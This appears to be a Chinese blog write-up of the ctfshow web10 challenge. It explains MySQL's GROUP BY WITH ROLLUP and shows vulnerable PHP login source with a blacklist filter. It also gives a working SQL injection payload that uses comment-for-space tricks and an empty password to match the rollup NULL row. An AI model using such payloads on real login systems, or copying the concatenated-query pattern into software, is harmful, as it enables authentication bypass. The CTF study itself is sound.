标签:11 username 13 group rollup 2021 sql mysqli password
做ctfshow web10,感觉挺有意思的,记录下来
特殊的语法
在讲做题之前,先说一下mysql的几个特殊的语法
首先这是我们的users表
group by
group by的作用就是将打印出来的表排序
例如:
最后输出一个排序后的结果,我添加了一个count(*)计数使其看的更明显
当然也可以去掉count(*)
with rollup
with rollup的作用就是在group by 排序的基础上再加一行,用来统计所有的数目
把count(*)去掉就是
可以看到password的列表凭空多出了一个NULL值,利用这个NULL就可以开始我的骚姿势的
做题过程
下面是源码,
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}
}
}
?>
利用replaceSpecialChar函数过滤掉了大多数的关键词,
mysqli_num_rows是算返回的结果有多少行
mysqli_fetch_assoc是将返回的结果以数组的形式输出,也就是$row最后代表的是整个password的表
下面是前端界面
结合一开始讲的语法,我们只需要像下面这样构造payload
username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup
password=
我们在登录框输入username后,在password这一框选择不输入,也就是输入为空,那么当后端匹配password时总会匹配到这个NULL值
在这里/**/用来防止空格过滤,1=1是在测试的时候发现没有admin这个字段,那么我们只需要1=1让它语句成立,也就是最后的后端连接sql语句为
select * from user group by password whith rollup
最终也就得到了flag
标签:11,username,13,group,rollup,2021,sql,mysqli,password 来源: https://blog.csdn.net/qq_51553814/article/details/121308168
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。